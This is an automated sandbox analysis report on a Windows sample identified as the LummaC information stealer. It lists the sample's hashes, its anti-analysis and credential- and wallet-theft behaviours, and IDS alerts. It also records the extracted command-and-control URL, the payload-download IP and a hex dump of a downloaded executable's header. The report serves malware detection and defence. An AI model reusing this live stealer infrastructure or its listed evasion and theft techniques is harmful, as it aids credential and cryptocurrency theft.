Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565521
MD5:	a9a9f7a7b9ed25c8df3e4676a11593f3
SHA1:	54934b66d0290fdc3b89b07de78a7e7461445416
SHA256:	5ead7defc7e896fcb9e0b8c17f978c0eb2c063ce3364925ef0df6880fb3c7921
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4344 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A9A9F7A7B9ED25C8DF3E4676A11593F3)

chrome.exe (PID: 420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6288 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1884,i,17699298288420818842,9296858339139321116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7680 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1848,i,12859633962272970777,3292351338685912697,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://atten-supporse.biz/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 4344	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4344	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4344	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4344	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T04:12:02.621072+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.16.9	443	TCP
2024-11-30T04:12:04.898264+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	104.21.16.9	443	TCP
2024-11-30T04:12:07.360287+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	104.21.16.9	443	TCP
2024-11-30T04:12:09.784755+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	104.21.16.9	443	TCP
2024-11-30T04:12:12.393365+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	104.21.16.9	443	TCP
2024-11-30T04:12:15.020953+0100	2028371	3	Unknown Traffic	192.168.2.6	49715	104.21.16.9	443	TCP
2024-11-30T04:12:17.576677+0100	2028371	3	Unknown Traffic	192.168.2.6	49722	104.21.16.9	443	TCP
2024-11-30T04:12:23.044875+0100	2028371	3	Unknown Traffic	192.168.2.6	49742	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T04:12:03.486038+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.16.9	443	TCP
2024-11-30T04:12:05.705673+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	104.21.16.9	443	TCP
2024-11-30T04:12:23.890519+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49742	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T04:12:03.486038+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T04:12:05.705673+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49709	104.21.16.9	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T04:12:25.389623+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49745	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T04:12:15.823373+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49715	104.21.16.9	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T04:12:17.581833+0100	2843864	1	A Network Trojan was detected	192.168.2.6	49722	104.21.16.9	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2416083737.0000000007C90000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49709 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49715 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49722 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49742 -> 104.21.16.9:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://atten-supporse.biz/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 03:12:25 GMTContent-Type: application/octet-streamContent-Length: 2765824Last-Modified: Sat, 30 Nov 2024 03:03:30 GMTConnection: keep-aliveETag: "674a8082-2a3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 b9 3a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 62 6d 66 7a 76 68 62 00 e0 29 00 00 a0 00 00 00 d2 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 74 67 67 72 6c 70 7a 00 20 00 00 00 80 2a 00 00 06 00 00 00 0c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2a 00 00 22 00 00 00 12 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49715 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49722 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49745 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49742 -> 104.21.16.9:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5VeGEGoNDS2WapR&MD=4dYcZxFY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
